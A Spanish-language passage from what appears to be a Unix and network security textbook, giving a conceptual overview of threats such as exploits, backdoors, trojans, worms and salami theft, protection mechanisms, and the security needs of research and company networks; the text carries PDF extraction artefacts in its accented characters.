- 25. ´ 1.5. ¿DE QUE NOS QUEREMOS PROTEGER? 7 de la entidad afectada. Esta tercera parte suele ser una empresa de la competencia o un organismo de inteligencia, es decir, una organizaci´n que puede permitirse un gran gasto en o el ataque; de ah´ su peligrosidad: se suele pagar bien a los mejores piratas, y por si esto fuera ı poco los atacantes van a tener todos los medios necesarios a su alcance. Aunque como hemos dicho los intrusos remunerados son los menos comunes en la mayor´ de ıa situaciones, en ciertas circunstancias pueden aprovechar nuestras redes como plataforma para atacar otros organismos; una excelente lectura sobre esta situaci´n es [Sto89], en la que el o experto en seguridad Cliff Stoll describe c´mo piratas pagados por el KGB sovi´tico utilizaron o e redes y sistemas Unix dedicados a I+D para acceder a organismos de defensa e inteligencia estadounidenses. 1.5.2 Amenazas l´gicas o Bajo la etiqueta de ‘amenazas l´gicas’ encontramos todo tipo de programas que de una forma u o otra pueden da˜ar a nuestro sistema, creados de forma intencionada para ello (software malicioso, n tambi´n conocido como malware) o simplemente por error (bugs o agujeros). Una excelente lectura e que estudia las definiciones de algunas de estas amenazas y su implicaci´n en el sistema Unix se o presenta en [GS96]; otra buena descripci´n, pero a un nivel m´s general, se puede encontrar en o a [Par81]. • Software incorrecto Las amenazas m´s habituales a un sistema Unix provienen de errores cometidos de forma a involuntaria por los programadores de sistemas o de aplicaciones. Una situaci´n no contem- o plada a la hora de dise˜ar el sistema de red del kernel o un error accediendo a memoria en un n fichero setuidado pueden comprometer local o remotamente a Unix (o a cualquier otro sistema operativo). A estos errores de programaci´n se les denomina bugs, y a los programas utilizados para o aprovechar uno de estos fallos y atacar al sistema, exploits. Como hemos dicho, representan la amenaza m´s com´n contra Unix, ya que cualquiera puede conseguir un exploit y utilizarlo a u contra nuestra m´quina sin ni siquiera saber c´mo funciona y sin unos conocimientos m´ a o ınimos de Unix; incluso hay exploits que da˜an seriamente la integridad de un sistema (negaciones de n servicio o incluso acceso root remoto) y est´n preparados para ser utilizados desde MS-DOS, a con lo que cualquier pirata novato (com´nmente, se les denomina Script Kiddies) puede uti- u lizarlos contra un servidor y conseguir un control total de una m´quina de varios millones de a pesetas desde su PC sin saber nada del sistema atacado; incluso hay situaciones en las que se analizan los logs de estos ataques y se descubre que el pirata incluso intenta ejecutar ´rdenes o de MS-DOS. • Herramientas de seguridad Cualquier herramienta de seguridad representa un arma de doble filo: de la misma forma que un administrador las utiliza para detectar y solucionar fallos en sus sistemas o en la subred completa, un potencial intruso las puede utilizar para detectar esos mismos fallos y aprovecharlos para atacar los equipos. Herramientas como nessus, saint o satan pasan de ser utiles a ser peligrosas cuando las utilizan crackers que buscan informaci´n sobre las ´ o vulnerabilidades de un host o de una red completa. La conveniencia de dise˜ar y distribuir libremente herramientas que puedan facilitar un ataque n es un tema peliagudo; incluso expertos reconocidos como Alec Muffet (autor del adivinador de contrase˜as Crack) han recibido enormes cr´ n ıticas por dise˜ar determinadas herramientas de n seguridad para Unix. Tras numerosos debates sobre el tema, ha quedado bastante claro que no se puede basar la seguridad de un sistema en el supuesto desconocimiento de sus problemas por parte de los atacantes: esta pol´ ıtica, denominada Security through obscurity, se ha demostrado inservible en m´ltiples ocasiones. Si como administradores no utilizamos herramientas de u seguridad que muestren las debilidades de nuestros sistemas (para corregirlas), tenemos que estar seguro que un atacante no va a dudar en utilizar tales herramientas (para explotar las debilidades encontradas); por tanto, hemos de agradecer a los dise˜adores de tales programas n el esfuerzo que han realizado (y nos han ahorrado) en pro de sistemas m´s seguros. a • Puertas traseras Durante el desarrollo de aplicaciones grandes o de sistemas operativos es habitual entre los
- 26. 8 CAP´ ´ ITULO 1. INTRODUCCION Y CONCEPTOS PREVIOS programadores insertar ‘atajos’ en los sistemas habituales de autenticaci´n del programa o o del n´cleo que se est´ dise˜ando. A estos atajos se les denomina puertas traseras, y con u a n ellos se consigue mayor velocidad a la hora de detectar y depurar fallos: por ejemplo, los dise˜adores de un software de gesti´n de bases de datos en el que para acceder a una tabla n o se necesiten cuatro claves diferentes de diez caracteres cada una pueden insertar una rutina para conseguir ese acceso mediante una unica clave ‘especial’, con el objetivo de perder menos ´ tiempo al depurar el sistema. Algunos programadores pueden dejar estos atajos en las versiones definitivas de su software para facilitar un mantenimiento posterior, para garantizar su propio acceso, o simplemente por descuido; la cuesti´n es que si un atacante descubre una de estas puertas traseras (no o nos importa el m´todo que utilice para hacerlo) va a tener un acceso global a datos que no e deber´ poder leer, lo que obviamente supone un grave peligro para la integridad de nuestro ıa sistema. • Bombas l´gicas o Las bombas l´gicas son partes de c´digo de ciertos programas que permanecen sin realizar o o ninguna funci´n hasta que son activadas; en ese punto, la funci´n que realizan no es la original o o del programa, sino que generalmente se trata de una acci´n perjudicial. o Los activadores m´s comunes de estas bombas l´gicas pueden ser la ausencia o presencia de a o ciertos ficheros, la ejecuci´n bajo un determinado UID o la llegada de una fecha concreta; o cuando la bomba se activa va a poder realizar cualquier tarea que pueda realizar la persona que ejecuta el programa: si las activa el root, o el programa que contiene la bomba est´ a setuidado a su nombre, los efectos obviamente pueden ser fatales. • Canales cubiertos Seg´n la definici´n de [B+ 85] y [B+ 88], los canales cubiertos (o canales ocultos, seg´n otras u o u traducciones) son canales de comunicaci´n que permiten a un proceso transferir informaci´n de o o forma que viole la pol´ ıtica de seguridad del sistema; dicho de otra forma, un proceso transmite informaci´n a otros (locales o remotos) que no est´n autorizados a leer dicha informaci´n. o a o Los canales cubiertos no son una amenaza demasiado habitual en redes de I+D, ya que suele ser mucho m´s f´cil para un atacante aprovechar cualquier otro mecanismo de ataque l´gico; a a o sin embargo, es posible su existencia, y en este caso su detecci´n suele ser dif´ o ıcil: algo tan simple como el puerto finger abierto en una m´quina puede ser utilizado a modo de covert a channel por un pirata con algo de experiencia. • Virus Un virus es una secuencia de c´digo que se inserta en un fichero ejecutable (denominado o hu´sped), de forma que cuando el archivo se ejecuta, el virus tambi´n lo hace, insert´ndose a e e a s´ mismo en otros programas. ı Todo el mundo conoce los efectos de los virus en algunos sistemas operativos de sobremesa; sin embargo, en Unix los virus no suelen ser un problema de seguridad grave, ya que lo que pueda hacer un virus lo puede hacer m´s f´cilmente cualquier otro mecanismo l´gico (que a a o ser´ el que hay que tener en cuenta a la hora de dise˜ar una pol´ a n ıtica de seguridad). Aunque los virus existentes para entornos Unix son m´s una curiosidad que una amenaza real, a en sistemas sobre plataformas IBM-PC o compatibles (recordemos que hay muchos sistemas Unix que operan en estas plataformas, como Linux, FreeBSD, NetBSD, Minix, Solaris. . . ) ciertos virus, especialmente los de boot, pueden tener efectos nocivos, como da˜ar el sector de n arranque; aunque se trata de da˜os menores comparados con los efectos de otras amenazas, n hay que tenerlos en cuenta. • Gusanos Un gusano es un programa capaz de ejecutarse y propagarse por s´ mismo a trav´s de redes, en ı e ocasiones portando virus o aprovechando bugs de los sistemas a los que conecta para da˜arlos. n Al ser dif´ ıciles de programar su n´mero no es muy elevado, pero el da˜o que pueden causar es u n muy grande: el mayor incidente de seguridad en Internet fu´ precisamente el Internet Worm, e un gusano que en 1988 caus´ perdidas millonarias al infectar y detener m´s de 6000 m´quinas o a a conectadas a la red. Hemos de pensar que un gusano puede automatizar y ejecutar en unos segundos todos los
- 27. ´ 1.5. ¿DE QUE NOS QUEREMOS PROTEGER? 9 pasos que seguir´ un atacante humano para acceder a nuestro sistema: mientras que una ıa persona, por muchos conocimientos y medios que posea, tardar´ como m´ ıa ınimo horas en controlar nuestra red completa (un tiempo m´s que razonable para detectarlo), un gusano a puede hacer eso mismo en pocos minutos: de ah´ su enorme peligro y sus devastadores efectos. ı • Caballos de Troya Los troyanos o caballos de Troya son instrucciones escondidas en un programa de forma que ´ste parezca realizar las tareas que un usuario espera de ´l, pero que realmente ejecute e e funciones ocultas (generalmente en detrimento de la seguridad) sin el conocimiento del usuario; como el Caballo de Troya de la mitolog´ griega, al que deben su nombre, ocultan su funci´n ıa o real bajo la apariencia de un programa inofensivo que a primera vista funciona correctamente. En la pr´ctica totalidad de los ataques a Unix, cuando un intruso consigue el privilegio a necesario en el sistema instala troyanos para ocultar su presencia o para asegurarse la entrada en caso de ser descubierto: por ejemplo, es t´ ıpico utilizar lo que se denomina un rootkit, que no es m´s que un conjunto de versiones troyanas de ciertas utilidades (netstat, ps, who. . . ), para a conseguir que cuando el administrador las ejecute no vea la informaci´n relativa al atacante, o como sus procesos o su conexi´n al sistema; otro programa que se suele suplantar es login, o por ejemplo para que al recibir un cierto nombre de usuario y contrase˜a proporcione acceso n al sistema sin necesidad de consultar /etc/passwd. • Programas conejo o bacterias Bajo este nombre se conoce a los programas que no hacen nada util, sino que simplemente ´ se dedican a reproducirse hasta que el n´mero de copias acaba con los recursos del sistema u (memoria, procesador, disco. . . ), produciendo una negaci´n de servicio. Por s´ mismos no o ı hacen ning´n da˜o, sino que lo que realmente perjudica es el gran n´mero de copias suyas en u n u el sistema, que en algunas situaciones pueden llegar a provocar la parada total de la m´quina. a Hemos de pensar hay ciertos programas que pueden actuar como conejos sin propon´rselo; e ejemplos t´ıpicos se suelen encontrar en los sistemas Unix destinados a pr´cticas en las que se a ense˜a a programar al alumnado: es muy com´n que un bucle que por error se convierte en n u infinito contenga entre sus instrucciones algunas de reserva de memoria, lo que implica que si el sistema no presenta una correcta pol´ıtica de cuotas para procesos de usuario pueda venirse abajo o degradar enormemente sus prestaciones. El hecho de que el autor suela ser f´cilmente a localizable no debe ser ninguna excusa para descuidar esta pol´ ıtica: no podemos culpar a un usuario por un simple error, y adem´s el da˜o ya se ha producido. a n • T´cnicas salami e Por t´cnica salami se conoce al robo automatizado de peque˜as cantidades de bienes (ge- e n neralmente dinero) de una gran cantidad origen. El hecho de que la cantidad inicial sea grande y la robada peque˜a hace extremadamente dif´ su detecci´n: si de una cuenta con n ıcil o varios millones de pesetas se roban unos c´ntimos, nadie va a darse cuenta de ello; si esto se e automatiza para, por ejemplo, descontar una peseta de cada n´mina pagada en la universidad o o de cada beca concedida, tras un mes de actividad seguramente se habr´ robado una enorme a cantidad de dinero sin que nadie se haya percatado de este hecho, ya que de cada origen se ha tomado una cantidad ´ ınfima. Las t´cnicas salami no se suelen utilizar para atacar sistemas normales, sino que su uso e m´s habitual es en sistemas bancarios; sin embargo, como en una red con requerimientos de a seguridad medios es posible que haya ordenadores dedicados a contabilidad, facturaci´n de un o departamento o gesti´n de n´minas del personal, comentamos esta potencial amenaza contra o o el software encargado de estas tareas. 1.5.3 Cat´strofes a Las cat´strofes (naturales o artificiales) son la amenaza menos probable contra los entornos habit- a uales: simplemente por su ubicaci´n geogr´fica, a nadie se le escapa que la probabilidad de sufrir o a un terremoto o una inundaci´n que afecte a los sistemas inform´ticos en una gran ciudad como o a Madrid, Valencia o Barcelona, es relativamente baja, al menos en comparaci´n con el riesgo de o sufrir un intento de acceso por parte de un pirata o una infecci´n por virus. Sin embargo, el hecho o de que las cat´strofres sean amenazas poco probables no implica que contra ellas no se tomen unas a
- 28. 10 CAP´ ´ ITULO 1. INTRODUCCION Y CONCEPTOS PREVIOS medidas b´sicas, ya que si se produjeran generar´ los mayores da˜os. a ıan n Un subgrupo de las cat´strofes es el denominado de riesgos poco probables. Obviamente se a denomina as´ al conjunto de riesgos que, aunque existen, la posibilidad de que se produzcan es tan ı baja (menor incluso que la del resto de cat´strofes) que nadie toma, o nadie puede tomar, medidas a contra ellos. Ejemplos habituales de riesgos poco probables son un ataque nuclear contra el sistema, el impacto de un sat´lite contra la sala de operaciones, o la abducci´n de un operador por una nave e o extraterrestre. Nada nos asegura que este tipo de cat´strofes no vaya a ocurrir, pero la probabilidad a es tan baja y los sistemas de prevenci´n tan costosos que no vale la pena tomar medidas contra ellas. o Como ejemplos de cat´strofes hablaremos de terremotos, inundaciones, incendios, humo o aten- a tados de baja magnitud (m´s comunes de lo que podamos pensar); obviamente los riesgos poco a probables los trataremos como algo anecd´tico. De cualquier forma, vamos a hablar de estas ame- o nazas sin extendernos mucho, ya que el objetivo de este proyecto no puede ser el proporcionar las directrices para una construcci´n de edificios a prueba de terremotos, o un plan formal de evacuaci´n o o en caso de incendio. 1.6 ¿C´mo nos podemos proteger? o Hasta ahora hemos hablado de los aspectos que engloba la seguridad inform´tica, de los elementos a a proteger, de los tipos de amenazas que contra ellos se presentan y del origen de tales amenazas; parece claro que, para completar nuestra visi´n de la seguridad, hemos de hablar de las formas de o protecci´n de nuestros sistemas. Cuando hayamos completado este punto, habremos presentado a o grandes rasgos los diferentes puntos a tratar en este proyecto, tal y como se sintetiza en la figura 1.2. Para proteger nuestro sistema hemos de realizar un an´lisis de las amenazas potenciales que puede a sufrir, las p´rdidas que podr´ generar, y la probabilidad de su ocurrencia; a partir de este an´lisis e ıan a hemos de dise˜ar una pol´ n ıtica de seguridad que defina responsabilidades y reglas a seguir para evitar tales amenazas o minimizar sus efectos en caso de que se produzcan. A los mecanismos utilizados para implementar esta pol´ ıtica de seguridad se les denomina mecanismos de seguridad; son la parte m´s visible de nuestro sistema de seguridad, y se convierten en la herramienta b´sica para a a garantizar la protecci´n de los sistemas o de la propia red. o Los mecanismos de seguridad se dividen en tres grandes grupos: de prevenci´n, de detecci´n y o o de recuperaci´n. Los mecanismos de prevenci´n son aquellos que aumentan la seguridad de un o o sistema durante el funcionamiento normal de ´ste, previniendo la ocurrencia de violaciones a la se- e guridad; por ejemplo, el uso de cifrado en la transmisi´n de datos se puede considerar un mecanismo o de este tipo, ya que evita que un posible atacante escuche las conexiones hacia o desde un sistema Unix en la red. Por mecanismos de detecci´n se conoce a aquellos que se utilizan para detectar o violaciones de la seguridad o intentos de violaci´n; ejemplos de estos mecanismos son los programas o de auditor´ como Tripwire. Finalmente, los mecanismos de recuperaci´n son aquellos que se ıa o aplican cuando una violaci´n del sistema se ha detectado, para retornar a ´ste a su funcionamiento o e correcto; ejemplos de estos mecanismos son la utilizaci´n de copias de seguridad o el hardware o adicional. Dentro de este ultimo grupo de mecanismos de seguridad encontramos un subgrupo de- ´ nominado mecanismos de an´lisis forense, cuyo objetivo no es simplemente retornar al sistema a a su modo de trabajo normal, sino averiguar el alcance de la violaci´n, las actividades de un intruso o en el sistema, y la puerta utilizada para entrar6 ; de esta forma se previenen ataques posteriores y se detectan ataques a otros sistemas de nuestra red. Parece claro que, aunque los tres tipos de mecanismos son importantes para la seguridad de nues- tro sistema, hemos de enfatizar en el uso de mecanismos de prevenci´n y de detecci´n; la m´xima o o a popular ‘m´s vale prevenir que curar’ se puede aplicar a la seguridad inform´tica: para nosotros, a a evitar un ataque, detectar un intento de violaci´n, o detectar una violaci´n exitosa inmediatamente o o despu´s de que ocurra es mucho m´s productivo y menos comprometedor para el sistema que e a 6 Si adem´s los resultados se pretenden utilizar como pruebas ante un tribunal, se habla de Informatoscopia a ([Gal96a]).
- 29. ´ 1.6. ¿COMO NOS PODEMOS PROTEGER? 11 SEGURIDAD ? FIABILIDAD ASPECTOS ELEMENTOS AMENAZAS MECANISMOS Confidencialidad Hardware TIPOS ORIGEN Prevenci´n o Integridad Software Interrupci´n o Personas Detecci´n o Disponibilidad Datos Interceptaci´n o Amenazas l´gicas o Recuperaci´n o Modificaci´n o Cat´strofes a Fabricaci´n o Figura 1.2: Visi´n global de la seguridad inform´tica o a restaurar el estado tras una penetraci´n de la m´quina. Es m´s, si consigui´ramos un sistema sin o a a e vulnerabilidades y cuya pol´ ıtica de seguridad se implementara mediante mecanismos de prevenci´no de una forma completa, no necesitar´ ıamos mecanismos de detecci´n o recuperaci´n. Aunque esto o o es imposible de conseguir en la pr´ctica, ser´ en los mecanismos de detecci´n, y sobre todo en los a a o de prevenci´n, en los que centraremos nuestro trabajo. o Los mecanismos de prevenci´n m´s habituales en Unix y en redes son los siguientes ([Olo92]): o a • Mecanismos de autenticaci´n e identificaci´n o o Estos mecanismos hacen posible identificar entidades del sistema de una forma unica, y pos- ´ teriormente, una vez identificadas, autenticarlas (comprobar que la entidad es qui´n dice ser). e Son los mecanismos m´s importantes en cualquier sistema, ya que forman la base de otros a mecanismos que basan su funcionamiento en la identidad de las entidades que acceden a un objeto. Un grupo especialmente importante de estos mecanismos son los denominados Sistemas de Autenticaci´n de Usuarios, a los que prestaremos una especial atenci´n por ser los m´s uti- o o a lizados en la pr´ctica. a • Mecanismos de control de acceso Cualquier objeto del sistema ha de estar protegido mediante mecanismos de control de ac- ceso, que controlan todos los tipos de acceso sobre el objeto por parte de cualquier entidad del sistema. Dentro de Unix, el control de acceso m´s habitual es el discrecional (DAC, a Discretionary Access Control), implementado por los bits rwx y las listas de control de acceso para cada fichero (objeto) del sistema; sin embargo, tambi´n se permiten especificar controles e de acceso obligatorio (MAC). • Mecanismos de separaci´n o Cualquier sistema con diferentes niveles de seguridad ha de implementar mecanismos que permitan separar los objetos dentro de cada nivel, evitando el flujo de informaci´n entre o objetos y entidades de diferentes niveles siempre que no exista una autorizaci´n expresa del o mecanismo de control de acceso.
- 30. 12 CAP´ ´ ITULO 1. INTRODUCCION Y CONCEPTOS PREVIOS Los mecanismos de separaci´n se dividen en cinco grandes grupos, en funci´n de como separan o o a los objetos: separaci´n f´ o ısica, temporal, l´gica, criptogr´fica y fragmentaci´n. Dentro de o a o Unix, el mecanismo de separaci´n m´s habitual es el de separaci´n l´gica o aislamiento, o a o o implementado en algunos sistemas mediante una Base Segura de C´mputo (TCB). o • Mecanismos de seguridad en las comunicaciones Es especialmente importante para la seguridad de nuestro sistema el proteger la integridad y la privacidad de los datos cuando se transmiten a trav´s de la red. Para garantizar esta seguridad e en las comunicaciones, hemos de utilizar ciertos mecanismos, la mayor´ de los cuales se basan ıa en la Criptograf´ cifrado de clave p´blica, de clave privada, firmas digitales. . . Aunque cada ıa: u vez se utilizan m´s los protocolos seguros (como SSH o Kerberos, en el caso de sistemas Unix a en red), a´n es frecuente encontrar conexiones en texto claro ya no s´lo entre m´quinas de u o a una misma subred, sino entre redes diferentes. Una de las mayores amenazas a la integridad de las redes es este tr´fico sin cifrar, que hace extremadamente f´ciles ataques encaminados a a a robar contrase˜as o suplantar la identidad de m´quinas de la red. n a A lo largo de este trabajo intentaremos explicar el funcionamiento de algunos de estos mecanismos para conseguir sistemas Unix m´s fiables; pero mucho m´s importante que el funcionamiento de, a a por ejemplo, la Base Segura de C´mputo o las Listas de Control de Acceso, es la concienciaci´n o o de usuarios y administradores de las ventajas en materias de seguridad que estos mecanismos, y muchos otros, ofrecen. Hemos de recordar que un sistema Unix instalado tal y como se distribuye suele representar una puerta abierta para cualquier pirata sin unos grandes conocimientos; si ese mismo sistema lo configuramos m´ ınimamente antes de ponerlo a trabajar, un intruso necesitar´ a unos conocimientos del sistema operativo y de la red m´s o menos amplios (o mucha suerte) si a quiere violar su seguridad. Como ya dijimos, el objetivo de este proyecto no es conseguir unos sistemas con seguridad militar en un entorno de normal (algo imposible), sino conseguir un entorno de trabajo m´ınimamente fiable. 1.7 Redes ‘normales’ En este trabajo, como ya hemos comentado, no se pretende ni mucho menos adentrarse en temas de seguridad que se podr´ considerar ‘de alto nivel’, como la necesaria en un entorno militar7 , de ıa inteligencia, o en una gran empresa que maneje datos muy apetecibles para sus competidores. Un fallo en la seguridad de los sistemas inform´ticos de una central nuclear puede ser catastr´fico – a o en el m´s amplio sentido de la palabra –; un peque˜o fallo en los sistemas encargados de lanzar a n un sat´lite nos costar´ a todos miles de millones de d´lares. . . si en lugar de ser un sat´lite es un e ıa o e misil, podemos imaginarnos las consecuencias. Por fortuna para todos nosotros, esos sistemas son altamente seguros y por supuesto no son simples ordenadores conectados a Internet. . . ni siquiera a redes de prop´sito general. o Pero lo m´s probable es que todas estas cosas nos queden demasiado lejos a la mayor´ de mortales; a ıa para nosotros los problemas de seguridad diarios son intrusiones, virus (sin comentarios), nega- ciones de servicio contra una m´quina que sirve p´ginas web. . . algo mucho m´s terrenal que todo a a a lo anterior. Es en este tipo de entornos donde los mecanismos que estudiaremos se pueden aplicar m´s f´cilmente, tanto por las caracter´ a a ısticas de los sistemas utilizados como por el – relativamente – bajo peligro de nuestros atacantes: imagino que la CIA o el KGB no estar´n dispuestos a pagar a a piratas profesionales para que entren y lean nuestro correo; los intrusos potencialmente interesados en nuestras m´quinas ser´n chavales que s´lo buscan un cierto status social en un grupo de afi- a a o cionados a la pirater´ o que acaban de ver una pel´ ıa, ıcula – de cuyo nombre no quiero acordarme – y tratan de emular a los actores. Gente que ante la m´s m´ a ınima dificultad para acceder a nuestra red, la abandonar´ y se dedicar´ a objetivos m´s f´ciles (como la red de nuestro vecino). Contra este a a a a tipo de personas es contra quien debemos esforzarnos: ya hemos dicho que es in´til intentar parar u a un atacante profesional, pagado, o muy interesado en nuestras m´quinas; el que su ataque tenga a ´xito es s´lo cuesti´n de tiempo, y seguramente depende m´s de la suerte que tenga ´l frente a la e o o a e que tengamos nosotros. Pero estos atacantes son minor´ y lo que debemos buscar es defendernos ıa, contra la mayor´ ıa. 7 Tampoco creo que fuera posible; a fin de cuentas, la seguridad de estos sistemas s´lo la conocen los militares. . . o
- 31. 1.7. REDES ‘NORMALES’ 13 Ejemplos de redes ‘normales’, de entornos con unos requerimientos de seguridad medios (pero requerimientos, al fin y al cabo), son las redes de I+D (universidades, centros de investigaci´n. . . ), o las de empresas medianas y las de proveedores de acceso a Internet; vamos a hablar en este punto de las caracter´ ısticas de cada una de ellas. 1.7.1 Redes de I+D En cualquier tipo de red, basada en Unix o no, la seguridad es siempre un factor a tener en cuenta a la hora de administrar la propia red y sus m´quinas. Por supuesto las redes de I+D no son ningu- a na excepci´n, y aunque con demasiada frecuencia su seguridad es m´ o ınima – o ni siquiera existe – merece la pena invertir tiempo, y por qu´ no, dinero, para garantizar un m´ e ınimo nivel de seguridad que proporcione un entorno de trabajo aceptable. Las redes de I+D tienen unas caracter´ ısticas propias que no poseen otras redes, por ejemplo las militares o las pertenecientes a empresas. El rasgo diferenciador de redes I+D m´s importante es a su car´cter extremadamente abierto: mientras que una empresa puede limitar el acceso exterior a a trav´s de un simple firewall, u ofrecer s´lo determinados servicios al exterior de la empresa, como e o unas p´ginas web, una red de I+D no puede permitirse este car´cter tan cerrado. Esto es debido a a a que el aspecto de la seguridad m´s importante en las redes de investigaci´n es la disponibilidad: a a o todo el personal investigador le interesa que sus publicaciones sean lo m´s accesibles a trav´s de la a e web, al alumnado le interesa poder consultar sus datos acad´micos desde casa, por Internet, etc. Y e es muy dif´ hacerles cambiar de opini´n, o al menos concienciarlos de los problemas de seguridad ıcil o que una excesiva apertura supone: si un profesor acude a una conferencia en cualquier lugar del mundo no se le puede obligar, por ejemplo, a kerberizar todas las aplicaciones de su ordenador port´til simplemente para poder leer el correo a distancia; simplemente desea ejecutar un telnet, a igual que si estuviera en el campus, para hacerlo. La caracter´ ıstica que acabamos de comentar es algo muy negativo de cara a mantener la seguridad de los sistemas; no podemos limitarnos a establecer una f´rrea pol´ e ıtica de filtrado de paquetes o a restringir servicios, ya que los usuarios no van a aceptarlo. Sin embargo, no todas las caracter´ısticas de las redes de I+D son un problema para su seguridad; por ejemplo, un importante punto a favor es el escaso inter´s para un pirata de los datos con los que se trabaja generalmente en institutos de e investigaci´n o centros universitarios. En entornos de estas caracter´ o ısticas no se suele trabajar con datos que impliquen informaci´n valiosa para un esp´ industrial o militar, ni tampoco se mueven o ıa grandes cantidades de dinero a trav´s del comercio electr´nico; casi todo lo que un intruso va a e o encontrar en una m´quina de I+D son programas, documentos, resultados de simulaciones. . . que a a muy poca gente, aparte de sus autores, interesan. Entonces, ¿contra qui´n nos enfrentamos? Muy pocos de los intrusos que podamos encontrar e en redes de I+D son piratas expertos; la mayor´ son gente poco experimentada, que incluso ataca ıa nuestras m´quinas desde sus PCs en casa corriendo ms-dos (desde 6.2 hasta 2000) sin saber nada a sobre Unix o redes. La mejor defensa contra estos individuos consiste simplemente en cerrar los ser- vicios que no sean estrictamente necesarios y mantener actualizado el software de nuestras m´quinas a que se pueda considerar cr´ ıtico (n´cleo, demonios, ficheros setuidados. . . ). Casi todos ellos suelen u actuar movidos unicamente por el af´n de conseguir un cierto status en comunidades virtuales de ´ a piratas; ni siquiera act´an por curiosidad o para ampliar sus conocimientos, con lo que tenemos una u importante ventaja contra ellos: es muy raro – pero no imposible – que se obsesionen por nuestra red o sus m´quinas, de forma que si conseguimos que sus primeros intentos por acceder no sean a fruct´ ıferos directamente dejar´n el ataque para dedicarse a objetivos m´s f´ciles. En cuanto a los a a a piratas con un mayor nivel de conocimientos, si los encontramos en una red de I+D seguramente ser´ porque utilizan nuestros equipos como plataforma para atacar servidores ‘m´s interesantes’ a a para un intruso, como m´quinas militares o de centros de investigaci´n muy importantes, como la a o nasa; en estos casos es obligatorio poner sobre aviso al organismo de mayor nivel responsable de la seguridad en la red: este organismo es, en el caso de la red universitaria espa˜ola, IrisCERT, cuya n informaci´n de contacto se cita al final del proyecto junto a la de otros organismos relacionados con o la seguridad inform´tica a distintos niveles. a
- 32. 14 CAP´ ´ ITULO 1. INTRODUCCION Y CONCEPTOS PREVIOS 1.7.2 Empresas Las redes y sistemas pertenecientes a empresas son, a priori, las que mayores ventajas presentan en lo relativo a su protecci´n; en primer lugar, se trata de redes que suelen ser muy aislables: muchas o empresas disponen de una LAN en el edificio donde est´n ubicadas, red que se puede aislar perfec- a tamente del exterior mediante cortafuegos. Incluso si se han de ofrecer servicios hacia el exterior (t´ ıpicamente, correo electr´nico y web), se pueden situar los servidores en una zona desmilitarizada o entre el router y la red interna. Adem´s, en muchos casos la LAN de la empresa ni siquiera es a realmente necesario que est´ conectada a Internet, aunque esto cada d´ es menos habitual m´s por e ıa a requisitos humanos que t´cnicos: aunque no haga falta para el trabajo la conexi´n a Internet, el e o clima de descontento entre nuestro personal que puede suponer bloquear el acceso hacia el exterior es una gran traba de cara al aislamiento – y por tanto, a la seguridad –. Esta es la teor´ como siempre, casi perfecta: vamos a a˜adirle problemas reales para comprobar ıa; n que las cosas no son tan bonitas como las acabamos de pintar. En primer lugar: imaginemos una empresa con varias sucursales – oficinas, almacenes. . . – separadas geogr´ficamente. Si la distancia a entre todas ellas es corta y la empresa solvente, quiz´s se puedan permitir una red propia, dedicada, a y protegida por los t´cnicos de la propia compa˜´ pero esto rara vez es as´ conforme aumenta e nıa; ı: la separaci´n, la idea de la red dedicada se va difuminando (simplemente con una distancia de un o par de kil´metros – o menos, dependiendo de la zona – ya resulta imposible esta aproximaci´n). o o Ahora entra en juego una red de prop´sito general como base de comunicaciones, seguramente la o red telef´nica, o incluso Internet; la protecci´n de la red ya no depende exclusivamente de nues- o o tra organizaci´n, sino que entran en juego terceras compa˜´ – posiblemente Telef´nica, con todo o nıas o lo que ello implica. . . –. Es casi indispensable recurrir a redes privadas virtuales (Virtual Private Networks, VPN), canales de comunicaci´n seguros dentro de esa red insegura. Al menos podemos o mantener comunicaciones seguras entre las diferentes sucursales. . . pero no todas las compa˜´ re- nıas curren a estos mecanismos: realmente, es m´s f´cil utilizar la red de prop´sito general como si a a o fuera segura, enviando por ella toda la informaci´n que queramos intercambiar entre oficinas, sin o proteger. Adem´s, la seguridad no suele ser tangible: seguramente nuestro jefe estar´ m´s contento a a a si en un d´ tiene montada la red aunque sea insegura, sin esperar a la configuraci´n de la red ıa o privada – evidentemente, m´s costosa –, aunque a la larga resulte una soluci´n mucho peor. a o Compliquemos a´n m´s la seguridad de nuestra compa˜´ ahora entran en juego estaciones m´viles, u a nıa: o por ejemplo comerciales con port´tiles que deben comunicarse con los equipos fijos, o ejecutivos que a al salir de viaje de negocios quieren poder seguir leyendo su correo. Estas estaciones est´n dando a muchos quebraderos de cabeza, tanto a nivel de conectividad como de seguridad. . . otro potencial problema para nuestra empresa; realmente, no tan potencial: seguramente esa persona que est´ de a viaje acabar´ conectado su portatil a la l´ a ınea telef´nica de un hotel, y conectando con las m´quinas o a fijas v´ m´dem. Por supuesto, esa persona ni ha o´ ni quiere oir hablar de conexiones cifradas: ıa o ıdo es m´s f´cil un telnet o un rlogin contra el servidor para poder leer el correo; a fin de cuentas, los a a piratas son algo que s´lo existe en las pel´ o ıculas. . . Hasta ahora todos los ataques contra la empresa eran – en principio – externos; pero imaginemos que uno de nuestros empleados no est´ contento con su sueldo y decide irse a la competencia. Y a no s´lo quiere irse, sino que decide llevarse varios documentos confidenciales, documentos a los que o ha tenido un f´cil acceso simplemente acerc´ndose a una de las impresoras comunes, recogiendo a a los listados, y fotocopi´ndolos antes de entregarlos a su due˜o. O incluso m´s f´cil: en nuestra a n a a empresa los ordenadores de los empleados utilizan Windows 9x, y todos los puestos ofrecen los discos duros como recursos compartidos; a fin de cuentas, as´ es mucho m´s f´cil el intercambio de ı a a informaci´n entre empleados. Esa persona, sin ni siquiera levantarse de su puesto de trabajo, tiene o acceso a casi toda la informaci´n de nuestra empresa. . . Por cierto, esto no pretende ser un ataque o a la seguridad de estos productos (aunque f´cilmente podr´ serlo), sino una realidad que se puede a ıa ver en much´ ısimas empresas, sobre todo peque˜as y medianas. n Como acabamos de ver, ha sido suficiente con plantear un par de situaciones – de lo m´s nor- a males – para romper toda la idea de seguridad f´cil que ten´ a ıamos al principio; y eso sin plantear problemas m´s rebuscados: ¿qu´ sucede si a una empresa de la competencia le da por sabotear a e
